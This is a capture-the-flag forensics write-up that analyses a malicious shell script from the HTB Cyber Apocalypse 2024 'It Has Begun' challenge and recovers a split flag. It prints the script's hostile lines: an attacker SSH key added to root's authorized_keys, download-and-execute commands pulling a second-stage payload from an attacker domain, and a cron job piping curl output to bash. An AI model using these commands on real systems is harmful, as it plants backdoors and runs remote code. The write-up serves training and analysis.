It Has Begun Writeup - Cyber Apocalypse 2024
- 1 Introduction
- 2 Key Techniques
- 3 Artifacts Summary
- 4 Basic file identification
-
5 Static analysis
- 5.1 Uses sh shell
- 5.2 Runs on a specific host
- 5.3 Must be effective root
- 5.4 Kill and removes docker processes
- 5.5 Persistence via ssh authorized keys
- 5.6 Configures DNS resolution of attacker domain
- 5.7 Looks for and kills specific processes
- 5.8 Will only continue for some machine architectures
- 5.9 Downloads and executes second stage payload
- 5.10 Persistence via a cron job
- 6 Combining the flag parts
- 7 Conclusion
→ 1 Introduction
This writeup covers the It Has Begun Forensics challenge from the Hack The Box Cyber Apocalypse 2024 CTF, which was rated as having a ‘very easy’ difficulty. The challenge involved the forensic analysis of a shell script.
The description of the challenge is shown below.
→ 2 Key Techniques
The key techniques employed in this writeup are:
- Manual source code review of a shell script
→ 3 Artifacts Summary
The downloaded artifact had the following hash:
$ shasum -a256 forensics_it_has_begun.zip
866c515f6c43838f346926071d0f80ce0afab0c715f2df0e3b771e5c42e8c6f1 forensics_it_has_begun.zip
The zip file contained a single shell script file:
$ unzip forensics_it_has_begun.zip
Archive: forensics_it_has_begun.zip
inflating: script.sh
$ shasum -a256 script.sh
5ce310ea3eec3b99c723742a273e5de4e09c0fe377dc8b6e888e75518a2fd760 script.sh
→ 4 Basic file identification
The file
command identified script.sh
as a
POSIX shell script:
$ file script.sh
script.sh: POSIX shell script, Unicode text, UTF-8 text executable, with very long lines (513)
The script is 2269 bytes long:
$ wc -c script.sh
2269 script.sh
→ 5 Static analysis
→ 5.1 Uses sh shell
The script executes via the /bin/sh
shell.
→ 5.2 Runs on a specific host
The script will only run on a host with name of
KORP-STATION-013
:
→ 5.3 Must be effective root
The script will only run if the effective user id is root (0):
→ 5.4 Kill and removes docker processes
The script kills and removes all docker processes:
→ 5.5 Persistence via ssh authorized keys
→ 5.5.1 Writes attacker’s public key to /root/.ssh/authorized_keys
The script attempts to gain persistence by echoing an attacker public
ssh key to /root/.ssh/authorized_keys
. This will allow the
attacker to ssh to the target as root later using their private ssh key,
which corresponds to technique T1098.004 Account
Manipulation: SSH Authorized Keys.
echo "ssh-rsa AAAAB4NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D7s4J0L7XV2kep0rNzgY1S1IdE8HDAf7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B user@tS_u0y_ll1w{BTH" >> /root/.ssh/authorized_keys
The comment against the key entry was observed to contain a partial flag in the host portion but it was reversed:
$ echo 'tS_u0y_ll1w{BTH' | rev
HTB{w1ll_y0u_St
→ 5.5.2 Updates sshd config to permit root login
The sshd
configuration was updated to permit root login
over ssh:
→ 5.6 Configures DNS resolution of attacker domain
The script adds an entry to /etc/hosts
to resolve
legions.korp.htb
, which is an attacker controlled
domain:
15 echo "nameserver 8.8.8.8" >> /etc/resolv.conf
...
17 echo "128.90.59.19 legions.korp.htb" >> /etc/hosts
→ 5.7 Looks for and kills specific processes
The script looks for and kills specific processes, such as processes associated with the PostgreSQL database:
for filename in /proc/*; do
ex=$(ls -latrh $filename 2> /dev/null|grep exe)
if echo $ex |grep -q "/var/lib/postgresql/data/postgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew"; then
result=$(echo "$filename" | sed "s/\/proc\///")
kill -9 $result
echo found $filename $result
fi
done
→ 5.8 Will only continue for some machine architectures
The script will only continue if the machine architecture is one of
x86
, x86_64
, mips
,
aarch64
, or arm
.
ARCH=$(uname -m)
array=("x86" "x86_64" "mips" "aarch64" "arm")
if [[ $(echo ${array[@]} | grep -o "$ARCH" | wc -w) -eq 0 ]]; then
exit
fi
→ 5.9 Downloads and executes second stage payload
The script attempts to download a second stage payload,
0xda4.0xda4.$ARCH
from the legions.korp.htb
domain. The script tries to find a directory that can be changed to,
then tries wget
, tftp
and
busybox wget
methods to download the payload, before
attempting to execute it.
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d || cd /; wget http://legions.korp.htb/0xda4.0xda4.$ARCH; chmod 777 0xda4.0xda4.$ARCH; ./0xda4.0xda4.$ARCH;
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d || cd /; tftp legions.korp.htb -c get 0xda4.0xda4.$ARCH; cat 0xda4.0xda4.$ARCH > DVRHelper; chmod +x *; ./DVRHelper $ARCH;
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d || cd /; busybox wget http://legions.korp.htb/0xda4.0xda4.$ARCH; chmod 777;./0xda4.0xda4.$ARCH;
→ 5.10 Persistence via a cron job
The final line persists a cronjob
that runs every 5
minutes and tries to download the second stage payload using
curl
and pipe it to a bash command, albeit the bash
invocation is defanged for the challenge, as the command is actually a
base64 encoded partial flag instead of a real command. The use of cron
corresponds to technique T1053.003
Scheduled Task/Job: Cron.
echo "*/5 * * * * root curl -s http://legions.korp.htb/0xda4.0xda4.$ARCH | bash -c 'NG5kX3kwdVJfR3IwdU5kISF9' " >> /etc/crontab
The partial flag was decoded:
$ echo -n 'NG5kX3kwdVJfR3IwdU5kISF9' |base64 -d
4nd_y0uR_Gr0uNd!!}
→ 6 Combining the flag parts
The combined flag parts resulted in:
HTB{w1ll_y0u_St4nd_y0uR_Gr0uNd!!}
→ 7 Conclusion
The flag was submitted and the challenge was marked as pwned